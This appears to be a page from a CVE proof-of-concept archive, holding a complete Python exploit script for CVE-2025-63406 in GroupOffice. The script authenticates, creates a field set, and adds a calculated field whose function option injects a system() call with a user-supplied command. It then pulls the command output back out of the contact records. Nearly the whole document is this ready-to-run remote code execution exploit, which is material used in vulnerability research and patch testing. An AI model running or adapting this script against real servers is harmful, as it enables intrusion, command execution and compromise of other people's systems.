4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-63406.py PY
import requests
import json
import re
import argparse


def connect(base_url, username, password):
    url = f"{base_url}/api/auth.php"
    data = {
        "username": username,
        "password": password
    }
    response = requests.post(url, json=data)
    response.raise_for_status()
    auth_data = response.json()
    return auth_data["accessToken"], auth_data["CSRFToken"]


def create_fieldset(base_url, access_token, csrf_token, name="Test FieldSet", entity="Contact"):
    url = f"{base_url}/api/jmap.php"
    headers = {
        "Cookie": f"accessToken={access_token}",
        "X-CSRF-Token": csrf_token,
    }
    data = [
        ["FieldSet/set", {
            "create": {
                "temp1": {
                    "name": name,
                    "entity": entity
                }
            }
        }, "c1"]
    ]
    response = requests.post(url, json=data, headers=headers)
    response.raise_for_status()
    return response.json()


def create_field(base_url, access_token, csrf_token, fieldset_id="1", field_name="Calculator Field", 
                 database_name="calc_field", function="whoami"):
    url = f"{base_url}/api/jmap.php"
    headers = {
        "Cookie": f"accessToken={access_token}",
        "X-CSRF-Token": csrf_token,
    }
    data = [
        ["Field/set", {
            "create": {
                "temp1": {
                    "name": field_name,
                    "fieldSetId": fieldset_id,
                    "type": "FunctionField",
                    "databaseName": database_name,
                    "options": {
                        "function": f"system('{function}'); 42"
                    },
                    "sortOrder": 1
                }
            }
        }, "c1"]
    ]
    response = requests.post(url, json=data, headers=headers)
    response.raise_for_status()
    return response.json()


def get_contacts(base_url, access_token, csrf_token, extract_calc_field=True):
    url = f"{base_url}/api/jmap.php"
    headers = {
        "Cookie": f"accessToken={access_token}",
        "X-CSRF-Token": csrf_token,
    }
    data = [
        ["Contact/get", {
            "ids": None,  # None sera sérialisé en null en JSON
            "properties": ["id", "name", "customFields"]
        }, "c1"]
    ]
    response = requests.post(url, json=data, headers=headers)
    response.raise_for_status()
    
    if extract_calc_field:
        # Extraire le JSON de la réponse (enlever le texte avant)
        json_match = re.search(r'\[\[.*\]\]', response.text)
        if json_match:
            json_str = json_match.group(0)
            # Parser le JSON
            parsed_data = json.loads(json_str)
            # Extraire calc_field depuis customFields
            calc_field = parsed_data[0][1]["list"][0]["customFields"]["calc_field"]
            return calc_field
        else:
            raise ValueError("Impossible de trouver le JSON dans la réponse")
    else:
        return response.json()


def parse_args():
    parser = argparse.ArgumentParser(description="Exploit script for GroupOffice CVE")
    parser.add_argument("-u", "--url", required=True, help="Base URL")
    parser.add_argument("-n", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")
    parser.add_argument("-c", "--command", required=True, help="Command to calculate")
    return parser.parse_args()


def main():
    args = parse_args()
    
    # Nettoyer l'URL (enlever le slash final si présent)
    base_url = args.url.rstrip('/')

    # ascii art because why not, and i do what i want
    print(r"""

  ____  _______         ___                     
 / __ \/ _/ _(_)______ / _ \_    _____  ___ ____
/ /_/ / _/ _/ / __/ -_) ___/ |/|/ / _ \/ -_) __/
\____/_//_//_/\__/\__/_/   |__,__/_//_/\__/_/   

    """)
    
    # 1. Connexion
    access_token, csrf_token = connect(base_url, args.username, args.password)
    print(f"[+] Connected to {base_url}")
    
    # 2. Créer le FieldSet
    create_fieldset(base_url, access_token, csrf_token)
    print(f"[+] Created FieldSet")
    
    # 3. Créer le Field avec la fonction système
    create_field(base_url, access_token, csrf_token, function=args.command)
    print(f"[+] Created Field")
    
    # 4. Récupérer les contacts et extraire calc_field
    calc_field = get_contacts(base_url, access_token, csrf_token)
    print(f"[+] Retrieved calc_field \n")
    print(f"{calc_field} \n")


if __name__ == "__main__":
    main()